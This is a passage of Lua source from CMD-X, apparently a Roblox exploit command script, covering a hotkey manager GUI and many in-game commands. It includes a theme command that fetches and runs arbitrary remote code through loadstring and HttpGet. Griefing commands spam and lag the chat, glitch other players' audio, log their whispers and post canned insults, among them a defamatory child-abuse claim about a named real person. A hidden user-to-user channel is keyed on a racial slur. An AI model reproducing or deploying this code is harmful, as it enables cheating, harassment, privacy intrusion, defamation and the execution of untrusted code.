10156BtnAddHotkey.Parent = ManageHolderHotkey
10157BtnAddHotkey.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
10158BtnAddHotkey.BorderSizePixel = 0
10159BtnAddHotkey.Position = UDim2.new(0.026827829, 0, 0.864668369, 0)
10160BtnAddHotkey.Size = UDim2.new(0, 85, 0, 33)
10161BtnAddHotkey.Font = Enum.Font.Gotham
10162BtnAddHotkey.Text = "Add"
10163BtnAddHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10164BtnAddHotkey.TextSize = 14.000
10165BtnAddHotkey.MouseButton1Down:Connect(function()
10166 SlideOutHotkey.Visible = true
10167 hkBinds[#hkBinds+1] = {K "N/A", C = "Unnamed"}
10168 CurrentEdit = #hkBinds
10169 TitleSlideHotkey.Text = hkBinds[#hkBinds].C
10170 Template(hkBinds[#hkBinds].C,#hkBinds)
10171end)
10172
10173BtnClearHotkey.Name = "BtnClearHotkey"
10174BtnClearHotkey.Parent = ManageHolderHotkey
10175BtnClearHotkey.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
10176BtnClearHotkey.BorderSizePixel = 0
10177BtnClearHotkey.Position = UDim2.new(0.244457483, 0, 0.864668369, 0)
10178BtnClearHotkey.Size = UDim2.new(0, 85, 0, 33)
10179BtnClearHotkey.Font = Enum.Font.Gotham
10180BtnClearHotkey.Text = "Clear"
10181BtnClearHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10182BtnClearHotkey.TextSize = 14.000
10183BtnClearHotkey.MouseButton1Down:Connect(function()
10184 MangeScrollHotkey:ClearAllChildren()
10185 hkBinds = {}
10186 Edit1Hotkey.Text = ""
10187 Edit2Hotkey.Text = ""
10188 Edit3Hotkey.Text = ""
10189 SlideOutHotkey.Visible = false
10190 CurrentEdit = ""
10191end)
10192
10193ManageTitleHotkey.Name = "ManageTitleHotkey"
10194ManageTitleHotkey.Parent = ManageHolderHotkey
10195ManageTitleHotkey.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
10196ManageTitleHotkey.BackgroundTransparency = 1.000
10197ManageTitleHotkey.Position = UDim2.new(0.263266504, 0, 0.00765306223, 0)
10198ManageTitleHotkey.Size = UDim2.new(0, 200, 0, 32)
10199ManageTitleHotkey.Font = Enum.Font.GothamSemibold
10200ManageTitleHotkey.Text = "CMD-X Hotkey MANAGER"
10201ManageTitleHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10202ManageTitleHotkey.TextSize = 14.000
10203
10204SlideOutHotkey.Name = "SlideOutHotkey"
10205SlideOutHotkey.Parent = ManageHolderHotkey
10206SlideOutHotkey.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
10207SlideOutHotkey.BackgroundTransparency = 0.500
10208SlideOutHotkey.BorderSizePixel = 0
10209SlideOutHotkey.Position = UDim2.new(-0.507332683, 0, 0, 0)
10210SlideOutHotkey.Size = UDim2.new(0, 215, 0, 294)
10211SlideOutHotkey.Visible = false
10212
10213Edit1Hotkey.Name = "Edit1Hotkey"
10214Edit1Hotkey.Parent = SlideOutHotkey
10215Edit1Hotkey.BackgroundColor3 = Color3.fromRGB(71, 71, 71)
10216Edit1Hotkey.BorderSizePixel = 0
10217Edit1Hotkey.Position = UDim2.new(0.0325581394, 0, 0.0850340128, 0)
10218Edit1Hotkey.Size = UDim2.new(0, 200, 0, 26)
10219Edit1Hotkey.Font = Enum.Font.Gotham
10220Edit1Hotkey.PlaceholderColor3 = Color3.fromRGB(230, 230, 230)
10221Edit1Hotkey.PlaceholderText = "Enter key here"
10222Edit1Hotkey.Text = ""
10223Edit1Hotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10224Edit1Hotkey.TextSize = 14.000
10225
10226Edit2Hotkey.Name = "Edit2Hotkey"
10227Edit2Hotkey.Parent = SlideOutHotkey
10228Edit2Hotkey.BackgroundColor3 = Color3.fromRGB(71, 71, 71)
10229Edit2Hotkey.BorderSizePixel = 0
10230Edit2Hotkey.Position = UDim2.new(0.0325581394, 0, 0.204081625, 0)
10231Edit2Hotkey.Size = UDim2.new(0, 200, 0, 26)
10232Edit2Hotkey.Font = Enum.Font.Gotham
10233Edit2Hotkey.PlaceholderColor3 = Color3.fromRGB(230, 230, 230)
10234Edit2Hotkey.PlaceholderText = "Enter command here"
10235Edit2Hotkey.Text = ""
10236Edit2Hotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10237Edit2Hotkey.TextSize = 14.000
10238
10239Edit3Hotkey.Name = "Edit3Hotkey"
10240Edit3Hotkey.Parent = SlideOutHotkey
10241Edit3Hotkey.BackgroundColor3 = Color3.fromRGB(71, 71, 71)
10242Edit3Hotkey.BorderSizePixel = 0
10243Edit3Hotkey.Position = UDim2.new(0.0325581394, 0, 0.31292516, 0)
10244Edit3Hotkey.Size = UDim2.new(0, 200, 0, 26)
10245Edit3Hotkey.Font = Enum.Font.Gotham
10246Edit3Hotkey.PlaceholderColor3 = Color3.fromRGB(230, 230, 230)
10247Edit3Hotkey.PlaceholderText = "Enter ... here"
10248Edit3Hotkey.Text = ""
10249Edit3Hotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10250Edit3Hotkey.TextSize = 14.000
10251
10252TitleSlideHotkey.Name = "TitleSlideHotkey"
10253TitleSlideHotkey.Parent = SlideOutHotkey
10254TitleSlideHotkey.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
10255TitleSlideHotkey.BackgroundTransparency = 1.000
10256TitleSlideHotkey.Position = UDim2.new(0.0307083577, 0, -0.0161564611, 0)
10257TitleSlideHotkey.Size = UDim2.new(0, 200, 0, 32)
10258TitleSlideHotkey.Font = Enum.Font.GothamSemibold
10259TitleSlideHotkey.Text = "..."
10260TitleSlideHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10261TitleSlideHotkey.TextSize = 14.000
10262
10263CancelBtnHotkey.Name = "CancelBtnHotkey"
10264CancelBtnHotkey.Parent = SlideOutHotkey
10265CancelBtnHotkey.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
10266CancelBtnHotkey.BorderSizePixel = 0
10267CancelBtnHotkey.Position = UDim2.new(0.561230242, 0, 0.442899674, 0)
10268CancelBtnHotkey.Size = UDim2.new(0, 85, 0, 33)
10269CancelBtnHotkey.Font = Enum.Font.Gotham
10270CancelBtnHotkey.Text = "Cancel"
10271CancelBtnHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10272CancelBtnHotkey.TextSize = 14.000
10273CancelBtnHotkey.MouseButton1Down:Connect(function()
10274 Edit1Hotkey.Text = ""
10275 Edit2Hotkey.Text = ""
10276 Edit3Hotkey.Text = ""
10277 SlideOutHotkey.Visible = false
10278 CurrentEdit = ""
10279end)
10280
10281function MakeChanges(title,new)
10282 for i,v in pairs(MangeScrollHotkey:GetChildren()) do
10283 if v.Name == title then
10284 v.Name = new
10285 xText = v.TemplateName.Text:split("|")
10286 v.TemplateName.Text = new.."|"..xText[2]
10287 end
10288 end
10289end
10290
10291ApplyBtnHotkey.Name = "ApplyBtnHotkey"
10292ApplyBtnHotkey.Parent = SlideOutHotkey
10293ApplyBtnHotkey.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
10294ApplyBtnHotkey.BorderSizePixel = 0
10295ApplyBtnHotkey.Position = UDim2.new(0.0318313837, 0, 0.442899674, 0)
10296ApplyBtnHotkey.Size = UDim2.new(0, 85, 0, 33)
10297ApplyBtnHotkey.Font = Enum.Font.Gotham
10298ApplyBtnHotkey.Text = "Apply"
10299ApplyBtnHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10300ApplyBtnHotkey.TextSize = 14.000
10301ApplyBtnHotkey.MouseButton1Down:Connect(function()
10302 hkBinds[CurrentEdit] = {K = Edit1Hotkey.Text, C = Edit2Hotkey.Text}
10303 MakeChanges(TitleSlideHotkey.Text,Edit2Hotkey.Text)
10304 Edit1Hotkey.Text = ""
10305 Edit2Hotkey.Text = ""
10306 Edit3Hotkey.Text = ""
10307 SlideOutHotkey.Visible = false
10308 CurrentEdit = ""
10309end)
10310
10311BtnExitHotkey.Name = "BtnExitHotkey"
10312BtnExitHotkey.Parent = ManageHolderHotkey
10313BtnExitHotkey.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
10314BtnExitHotkey.BackgroundTransparency = 1.000
10315BtnExitHotkey.BorderSizePixel = 0
10316BtnExitHotkey.Position = UDim2.new(0.950231194, 0, -0.00778063387, 0)
10317BtnExitHotkey.Size = UDim2.new(0, 28, 0, 26)
10318BtnExitHotkey.Font = Enum.Font.GothamBold
10319BtnExitHotkey.Text = "X"
10320BtnExitHotkey.TextColor3 = Color3.fromRGB(255, 255, 255)
10321BtnExitHotkey.TextSize = 14.000
10322BtnExitHotkey.MouseButton1Down:Connect(function()
10323 for i,v in pairs(hkBinds) do
10324 if hkBinds.C == "Unnamed" then
10325 table.remove(hkBinds,i)
10326 end
10327 end
10328 ManageHolderHotkey.Visible = false
10329 Edit1Hotkey.Text = ""
10330 Edit2Hotkey.Text = ""
10331 Edit3Hotkey.Text = ""
10332 SlideOutHotkey.Visible = false
10333 CurrentEdit = ""
10334end)
10335
10336function useCommand.hotkeynew()
10337 if arguments[3] then
10338 arguments[2] = arguments[2]:lower()
10339 hkBinds[#hkBinds+1] = {K = arguments[2], C = arguments[3]}
10340 updatesaves()
10341 opx("-","Added "..arguments[3].." to hotkeys")
10342 else
10343 opx("*","3 arguments are needed for this command!")
10344 end
10345end
10346
10347function useCommand.hotkeys()
10348 MangeScrollHotkey:ClearAllChildren()
10349 ManageHolderHotkey.Visible = true
10350 for i,v in pairs(hkBinds) do
10351 Template(hkBinds[i].C,i)
10352 end
10353end
10354
10355function useCommand.listhotkeys()
10356 xHK = #hkBinds.." | "
10357 for i = 1,#hkBinds do
10358 xHK = xHK..hkBinds[i].K.." - "..hkBinds[i].C..", "
10359 end
10360 opx("-","Listed hotkeys")
10361 opxL("Hotkeys",xHK)
10362end
10363
10364function useCommand.hotkeydel()
10365 if arguments[2] then
10366 for i = 1,#hkBinds do
10367 if hkBinds[i].C == arguments[2] then
10368 table.remove(hkBinds[i])
10369 updatesaves()
10370 end
10371 end
10372 opx("-","Removed "..arguments[2].." from hotkeys")
10373 else
10374 opx("*","2 arguments are needed for this command!")
10375 end
10376end
10377
10378function useCommand.hotkeysclr()
10379 hkBinds = {}
10380 updatesaves()
10381 opx("-","Cleared all hotkeys")
10382end
10383
10384function useCommand.changestyle()
10385 if arguments[2] then
10386 opx("-","Style set to "..arguments[2])
10387 for i,v in pairs(Unnamed.holder.output:GetChildren()) do
10388 if v:IsA("ImageLabel") then
10389 output1.Parent = output
10390 output2.Parent = output
10391 output3.Parent = output
10392 output4.Parent = output
10393 output5.Parent = output
10394 output6.Parent = output
10395 output7.Parent = output
10396 output8.Parent = output
10397 output9.Parent = output
10398 v:Destroy()
10399 end
10400 end
10401 entry.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
10402 output1.TextColor3 = Color3.fromRGB(177, 177, 177)
10403 output2.TextColor3 = Color3.fromRGB(177, 177, 177)
10404 output3.TextColor3 = Color3.fromRGB(177, 177, 177)
10405 output4.TextColor3 = Color3.fromRGB(177, 177, 177)
10406 output5.TextColor3 = Color3.fromRGB(177, 177, 177)
10407 output6.TextColor3 = Color3.fromRGB(177, 177, 177)
10408 output7.TextColor3 = Color3.fromRGB(177, 177, 177)
10409 output8.TextColor3 = Color3.fromRGB(177, 177, 177)
10410 output9.TextColor3 = Color3.fromRGB(177, 177, 177)
10411 cmd.TextColor3 = Color3.fromRGB(177,177,177)
10412 cmd.PlaceholderColor3 = Color3.fromRGB(177,177,177)
10413 if arguments[2] == "default" or arguments[2] == "rounded" then
10414 output.Style = Enum.FrameStyle.RobloxRound
10415 dStyle = "rounded"
10416 updatesaves()
10417 elseif arguments[2] == "bg" then
10418 function getAsset(ID)
10419 return("http://www.roblox.com/Thumbs/Asset.ashx?format=png&width=420&height=420&assetId="..ID)
10420 end
10421 output.Style = Enum.FrameStyle.Custom
10422 dStyle = "bg "..arguments[3]
10423 updatesaves()
10424 local iBG = Instance.new("ImageLabel", output)
10425 iBG.BackgroundColor3 = Color3.fromRGB(163,182,165)
10426 iBG.BackgroundTransparency = 1
10427 iBG.BorderSizePixel = 0
10428 iBG.Size = UDim2.new(0, 525, 0, 253)
10429 output1.Parent = iBG
10430 output2.Parent = iBG
10431 output3.Parent = iBG
10432 output4.Parent = iBG
10433 output5.Parent = iBG
10434 output6.Parent = iBG
10435 output7.Parent = iBG
10436 output8.Parent = iBG
10437 output9.Parent = iBG
10438 iBG.Image = getAsset(arguments[3])
10439 iBG.ScaleType = Enum.ScaleType.Crop
10440 elseif arguments[2] == "squared" then
10441 output.Style = Enum.FrameStyle.RobloxSquare
10442 dStyle = "squared"
10443 updatesaves()
10444 elseif arguments[2] == "blended" then
10445 output.Style = Enum.FrameStyle.Custom
10446 dStyle = "blended"
10447 updatesaves()
10448 elseif arguments[2] == "smalled" then
10449 output.Style = Enum.FrameStyle.DropShadow
10450 dStyle = "smalled"
10451 updatesaves()
10452 elseif arguments[2] == "light" or arguments[2] == "lightmode" then
10453 entry.BackgroundColor3 = Color3.fromRGB(170, 170, 170)
10454 output1.TextColor3 = Color3.fromRGB(1, 1, 1)
10455 output2.TextColor3 = Color3.fromRGB(1, 1, 1)
10456 output3.TextColor3 = Color3.fromRGB(1, 1, 1)
10457 output4.TextColor3 = Color3.fromRGB(1, 1, 1)
10458 output5.TextColor3 = Color3.fromRGB(1, 1, 1)
10459 output6.TextColor3 = Color3.fromRGB(1, 1, 1)
10460 output7.TextColor3 = Color3.fromRGB(1, 1, 1)
10461 output8.TextColor3 = Color3.fromRGB(1, 1, 1)
10462 output9.TextColor3 = Color3.fromRGB(1, 1, 1)
10463 cmd.TextColor3 = Color3.fromRGB(1,1,1)
10464 cmd.PlaceholderColor3 = Color3.fromRGB(1,1,1)
10465 if arguments[3] then
10466 if arguments[3] == "blue" then
10467 output.Style = Enum.FrameStyle.ChatBlue
10468 dStyle = "lightblue"
10469 updatesaves()
10470 elseif arguments[3] == "green" then
10471 output.Style = Enum.FrameStyle.ChatGreen
10472 dStyle = "lightgreen"
10473 updatesaves()
10474 elseif arguments[3] == "red" then
10475 output.Style = Enum.FrameStyle.ChatRed
10476 dStyle = "lightred"
10477 updatesaves()
10478 else
10479 output.Style = Enum.FrameStyle.ChatBlue
10480 dStyle = "lightblue"
10481 updatesaves()
10482 end
10483 else
10484 output.Style = Enum.FrameStyle.ChatBlue
10485 dStyle = "lightblue"
10486 updatesaves()
10487 end
10488 else
10489 loadstring(game:HttpGet((arguments[2]),true))()
10490 dStyle = arguments[2]
10491 updatesaves()
10492 end
10493 else
10494 opx("*","2 arguments are needed for this command!")
10495 end
10496end
10497
10498function useCommand.csinfo()
10499 opx("-","Listed info about changestyle")
10500 opxL("Change-style Info","For the default theme/ rounded theme type in: cs rounded\
10501 For a custom background type in: cs bg (id)\
10502 For a squared theme type in: cs squared\
10503 For a blended theme type in: cs blended\
10504 For a smalled theme type in: cs smalled\
10505 For a lightmode theme type in: cs light(blue/green/red)\
10506 For a custom theme type in: cs (raw link)")
10507end
10508
10509function useCommand.chat()
10510 if arguments[2] then
10511 local chatString = getstring(2)
10512 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
10513 opx("-","Said message in chat")
10514 else
10515 opx("*","2 arguments are needed for this command!")
10516 end
10517end
10518
10519function useCommand.curvetools()
10520 local currentTool = cmdlp.Character:FindFirstChildOfClass("Tool")
10521 currentTool.Parent = cmdlp.Backpack
10522 Number = 1
10523 for i,v in pairs(cmdlp.Backpack:GetChildren()) do
10524 if v.Name == currentTool.Name then
10525 v.GripPos = Vector3.new(0,0,0)
10526 v.GripRight = Vector3.new(0,0,0)
10527 v.GripPos = Vector3.new(0,-Number,Number)
10528 v.GripRight = Vector3.new(math.rad(10+-Number),math.rad(Number),math.rad(90+-Number))
10529 Number = Number + 1.4
10530 v.Parent = cmdlp.Character
10531 end
10532 end
10533 opx("-","Now curving tools")
10534end
10535
10536function useCommand.spiraltools()
10537 local currentTool = cmdlp.Character:FindFirstChildOfClass("Tool")
10538 currentTool.Parent = cmdlp.Backpack
10539 Number = 1
10540 for i,v in pairs(cmdlp.Backpack:GetChildren()) do
10541 if v.Name == currentTool.Name then
10542 v.GripPos = Vector3.new(0,0,0)
10543 v.GripRight = Vector3.new(0,0,0)
10544 v.GripPos = Vector3.new(0,Number,-Number)
10545 v.GripRight = Vector3.new(math.rad(Number),math.rad(180/Number),math.rad(180/Number))
10546 Number = Number + 1.4
10547 v.Parent = cmdlp.Character
10548 end
10549 end
10550 opx("-","Now spiraling tools")
10551end
10552
10553function useCommand.parts()
10554 if arguments[2] then
10555 opx("-","Now listing all parts in "..arguments[2])
10556 for i,v in pairs(workspace:GetDescendants()) do
10557 if v.Name == arguments[2] then
10558 xName = v
10559 end
10560 end
10561 local xParts = #xName:GetDescendants().." | "
10562 for i,v in pairs(xName:GetDescendants()) do
10563 xParts = xParts..v.Name..", "
10564 end
10565 opxL("Parts",xParts)
10566 else
10567 opx("-","Now listing all parts")
10568 local xParts = #workspace:GetDescendants().." | "
10569 for i,v in pairs(workspace:GetDescendants()) do
10570 xParts = xParts..v.Name..", "
10571 end
10572 opxL("Parts",xParts)
10573 end
10574end
10575
10576function useCommand.toggleconfly()
10577 if arguments[2] then
10578 if arguments[2] == "on" then
10579 conFly = true
10580 updatesaves()
10581 opx("-","Continuous fly was toggled to on")
10582 elseif arguments[2] == "off" then
10583 conFly = false
10584 updatesaves()
10585 opx("-","Continuous fly was toggled to off")
10586 else
10587 opx("*","The second argument must contain 'on' or 'off'")
10588 end
10589 else
10590 opx("*","2 arguments are required for this command")
10591 end
10592end
10593
10594local amuteall = false
10595function useCommand.audioglitch()
10596 if arguments[3] then
10597 if arguments[2] == "others" then
10598 opx("-","Audio glitch others enabled")
10599 amuteall = true
10600 repeat wait(1)
10601 for i,v in pairs(workspace:GetDescendants()) do
10602 if v:IsA("Sound") and v.Parent.Parent.Parent.Name ~= cmdlp.Name then
10603 v.TimePosition = arguments[3]
10604 end
10605 end
10606 until amuteall == false
10607 elseif arguments[2] == "everyone" or arguments[2] == "all" then
10608 opx("-","Audio glitch all enabled")
10609 amuteall = true
10610 repeat wait(1)
10611 for i,v in pairs(workspace:GetDescendants()) do
10612 if v:IsA("Sound") then
10613 v.TimePosition = arguments[3]
10614 end
10615 end
10616 until amuteall == false
10617 else
10618 target = findplr(arguments[2])
10619 if target then
10620 opx("-","Audio glitch "..target.Name.." enabled")
10621 amuteall = true
10622 repeat wait(1)
10623 for i,v in pairs(workspace:GetDescendants()) do
10624 if v:IsA("Sound") and v.Parent.Parent.Parent.Name == target.Name then
10625 v.TimePosition = arguments[3]
10626 end
10627 end
10628 until amuteall == false
10629 else
10630 opx("*","Player does not exist!")
10631 end
10632 end
10633 else
10634 opx("*","3 arguments are needed for this command!")
10635 end
10636end
10637
10638function useCommand.unaudioglitch()
10639 opx("-","Audio glitch all disabled")
10640 amuteall = false
10641end
10642
10643local chatlag = false
10644function useCommand.lagchat()
10645 opx("-","Now lagging chat")
10646 chatlag = true
10647 while chatlag == true do
10648 wait()
10649 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("_______________________________________", "All")
10650 end
10651end
10652
10653function useCommand.trollchat()
10654 trollChat = {"Roses are red, silent as a mouse, your door is unlocked, I'm inside your house","my dads's uncle owens fortnite his gonna get you banned ###### noob","Ok that one was funny, say it again it gets funnier each time you say it.","nvm just found out ur a girl","I have more chromosomes than you wetard.","What's a _G statement?","Can somebody give me robux my dad is builderman!","Can someone please buy my shirt from my group?","Turn down the music please! My mom said so.","My favorite type of ice cream is glue.","May I join you guys?","What's a GUI?","I'm level 126 on Clockwork's Level Calculator","This game is honestly so bad, don't know why people play it.","Anyone else play Roblox here?","I'm new, any help?","Can you give me Robux, please?","Please stop trolling!","You aren't cool stop trying to kill me.","Why are you so mean?","Guys, kill the bacon for free Cheez-Its.","Why do people even buy headless? It's really useless!","Stop!!!!!!!","_____________________","Please leave me alone?","Sources say David Baszucki is looking at a 20 year sentence for fiddling with kids.","Why do people even hate on Fortnite?","I heard Erik Cassel has been working on an update for 7 years.","Welcome to Roblox!","I'm considering picking up Roblox as a long term job.","Club Iris's owner, SoulJem is adding more backdoors in his game today.","I use JJSploit, It's way better than Synapse X.","Why am I getting so much attention?","Everyone hates me. :(","Flamingo is a good youtuber he is my favourite, YO TENGO!","Why is no one talking to me? I'm famous you know?","You are all poor, I have 10 robux.","I have 100 followers, you are a nobody.","I heard maplestick feeds exploiters with his hats, is this true?","Removing TIX was a good idea like that thing was so useless, XD.","What is TIX? xd? Sounds stupid XD.","I heard InceptionTime is in the gzxy bar right now.","Guys use the weakest weapons, it raises your chance to deal 100 damage.","Guys is Synapse X a virus?","Hello. Im Am. Play. Roblox,","Hi Youtube today we are playing this game.","Poor people are the bane of this game, pls nerf.","I am on the leaderboards of this game, everyone here is bad.","My dads goldfish works for Roblox.","Guys how do I fake cxncer to get a Sinister Valk?","Why are you bald? Are you planning to get Sinister Valk?","Guys my bed time is in 10 minutes, please hurry up.","Why are you taking so long?","Can you be quiet? Stop talking.","What is Builders Club XD? It sounds stupid tbh.","I have the best score on this game, plus I know the owner.","Guys you can all leave you are useless I can do this on my own.","This game is pretty bad tbh XD, I could make better.","You have trash scripts XD I use JJSploit and invisible fling.","......... bad. xd","I'm considering building a game about breaking out of a jail and robbing stuff, should I?","I'm considering making a game about breaking bones, should I?","I'm considering making Roblox streaming a full time job, I got a 2$ donation.","I use UltimateDLLInjector, what DLL's do you use? Can you send me them?","All old games are bad, why would you even play them they are glitchy.","Old robloxians, are stupid I bet they can't even play Bloxburg as well as me","I love DenisDaily I want to meet him."}
10655 local value = math.random(1,#trollChat)
10656 local picked_value = trollChat[value]
10657 opx("-","You troll chatted")
10658 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(tostring(picked_value), "All")
10659end
10660
10661function useCommand.unbodypositionwalkspeed()
10662 bodyPos = false
10663 for i,v in pairs(cmdlp.Character:GetDescendants()) do
10664 if v.Name == "rocket" then
10665 v:Destroy()
10666 end
10667 end
10668 opx("-","BodyPositionWalkSpeed disabled")
10669end
10670
10671function useCommand.removegears()
10672 opx("-","Removed gears")
10673 for i,v in pairs(cmdlp.Backpack:GetChildren()) do
10674 if v:IsA("Tool") then
10675 v:Destroy()
10676 end
10677 end
10678end
10679
10680function useCommand.unclicktp()
10681 opx("-","No longer clicktping")
10682 clicktps = false
10683end
10684
10685function useCommand.scriptusers()
10686 opx("-","Showing players using CMD-X")
10687 local usageof = ""
10688 for i,v in pairs(cmdp:GetPlayers()) do
10689 if v.SimulationRadius == 139 or v.OsPlatform == "CMD-X" then
10690 if Devs[v.Name] == "Dev" then
10691 usageof = usageof.."[DEV]"..v.Name.."\n"
10692 elseif Devs[v.Name] == "Owner" then
10693 usageof = usageof.."[OWNER]"..v.Name.."\n"
10694 else
10695 usageof = usageof.."[USER]"..v.Name.."\n"
10696 end
10697 end
10698 end
10699 opxL("Currently Using",usageof)
10700end
10701
10702function useCommand.mentions()
10703 if arguments[2] == "on" then
10704 mentions = true
10705 updatesaves()
10706 opx("-","Turned on mentions")
10707 elseif arguments[2] == "off" then
10708 mentions = false
10709 updatesaves()
10710 opx("-","Turned off mentions")
10711 else
10712 opx("*","Not a valid preset!")
10713 end
10714end
10715
10716cmdp.PlayerAdded:connect(function(plr)
10717 plr:GetPropertyChangedSignal("OsPlatform"):Connect(function()
10718 msg = plr.OsPlatform
10719 v = plr
10720 if v.SimulationRadius == 139 and msg:sub(#msg-5,#msg) == "nigger" then
10721 msg = msg:sub(1,#msg-6)
10722 CreateSCLabel(plr.Name,msg)
10723 if string.match(msg,cmdlp.Name) and mentions == true then
10724 opx("-","You were mentioned in .scriptchat by "..plr.Name.."!")
10725 end
10726 end
10727 end)
10728end)
10729for i,v in pairs(cmdp:GetPlayers()) do
10730 v:GetPropertyChangedSignal("OsPlatform"):Connect(function()
10731 msg = v.OsPlatform
10732 if v.SimulationRadius == 139 and msg:sub(#msg-5,#msg) == "nigger" then
10733 msg = msg:sub(1,#msg-6)
10734 CreateSCLabel(v.Name,msg)
10735 if string.match(msg,cmdlp.Name) and mentions == true then
10736 opx("-","You were mentioned in .scriptchat by "..v.Name.."!")
10737 end
10738 end
10739 end)
10740end
10741
10742function useCommand.schatbp()
10743 opx("*","No longer used")
10744end
10745
10746cmdp.PlayerAdded:connect(function(plr)
10747 plr.Chatted:connect(function(msg)
10748 if msg:sub(1,3) == "/w " and wLogs == true then
10749 CreateLabel(plr.Name,msg)
10750 end
10751 end)
10752end)
10753for i,v in pairs(cmdp:GetPlayers()) do
10754 v.Chatted:connect(function(msg)
10755 if msg:sub(1,3) == "/w " and wLogs == true then
10756 CreateLabel(v.Name,msg)
10757 end
10758 end)
10759end
10760
10761function useCommand.whisperlogs()
10762 logsEnabled = false
10763 pLogs = false
10764 opx("-","Whipser-Logs have been loaded")
10765 wLogs = true
10766 logsholding.Visible = true
10767end
10768
10769function useCommand.playerlogs()
10770 if arguments[2] then
10771 target = findplr(arguments[2])
10772 if target then
10773 logsEnabled = false
10774 wLogs = false
10775 opx("-","Player-Logs have been loaded")
10776 pLogs = true
10777 logsholding.Visible = true
10778 target.Chatted:Connect(function(msg)
10779 if pLogs == true then
10780 CreateLabel(target.Name,msg)
10781 end
10782 end)
10783 else
10784 opx("*","Player does not exist!")
10785 end
10786 else
10787 opx("*","2 arguments are needed for this command!")
10788 end
10789end
10790
10791function useCommand.scriptchat()
10792 logsholding2.Visible = true
10793 opx("-","Script chat is now active")
10794end
10795
10796function useCommand.unswimwalk()
10797 workspace.Gravity = 198
10798 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
10799 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
10800 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
10801 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
10802 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
10803 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
10804 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
10805 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
10806 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
10807 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
10808 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
10809 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
10810 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
10811 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
10812 cmdlp.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
10813 cmdlp.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
10814 opx("-","No longer swimming")
10815end
10816
10817function useCommand.unlagchat()
10818 opx("-","No longer lagging chat")
10819 chatlag = false
10820end
10821
10822function useCommand.sniper()
10823 opx("-","If you had a sniper then you are now holding it")
10824 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
10825 if hat.Handle ~= nil then
10826 local tool = Instance.new("Tool", cmdlp.Backpack)
10827 tool.Name = hat.Name
10828 tool.GripPos = Vector3.new(0, -1, 0)
10829 tool.GripRight = Vector3.new(-0.005, 0.004, -1)
10830 tool.GripUp = Vector3.new(0.758, 0.653, -0.001)
10831 tool.GripForward = Vector3.new(-0.653, 0.758, 0.006)
10832 local hathandle = hat.Handle
10833 hathandle:FindFirstChildOfClass("Weld"):Destroy()
10834 hathandle.Parent = tool
10835 hathandle.Massless = true
10836 end
10837 end
10838end
10839
10840function useCommand.rocket()
10841 opx("-","If you had a rocket then you are now holding it")
10842 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
10843 if hat.Handle ~= nil then
10844 local tool = Instance.new("Tool", cmdlp.Backpack)
10845 tool.Name = hat.Name
10846 tool.GripPos = Vector3.new(1, 0, 0)
10847 tool.GripRight = Vector3.new(-0.245, 0, 0.969)
10848 tool.GripUp = Vector3.new(-0.749, 0.634, -0.19)
10849 tool.GripForward = Vector3.new(0.615, 0.773, 0.156)
10850 local hathandle = hat.Handle
10851 hathandle:FindFirstChildOfClass("Weld"):Destroy()
10852 hathandle.Parent = tool
10853 hathandle.Massless = true
10854 end
10855 end
10856end
10857
10858function useCommand.clip()
10859 if Noclipping then
10860 Noclipping:Disconnect()
10861 end
10862 Clip = true
10863 opx("-","Noclip disabled")
10864end
10865
10866function useCommand.closeorbit()
10867 if arguments[2] then
10868 target = findplr(arguments[2])
10869 if target then
10870 local rp = Instance.new("RocketPropulsion")
10871 rp.Parent = cmdlp.Character.HumanoidRootPart
10872 rp.CartoonFactor = 1
10873 rp.MaxThrust = 5000
10874 rp.MaxSpeed = 100
10875 rp.ThrustP = 5000
10876 rp.Name = "OrbitalDestruction"
10877 rp.Target = target.Character.HumanoidRootPart
10878 rp:Fire()
10879 cmdlp.Character.Humanoid.Sit = true
10880 opx("-","Now orbiting: "..target.Name)
10881 else
10882 opx("*","Player does not exist!")
10883 end
10884 else
10885 opx("*","2 arguments are needed for this command!")
10886 end
10887end
10888
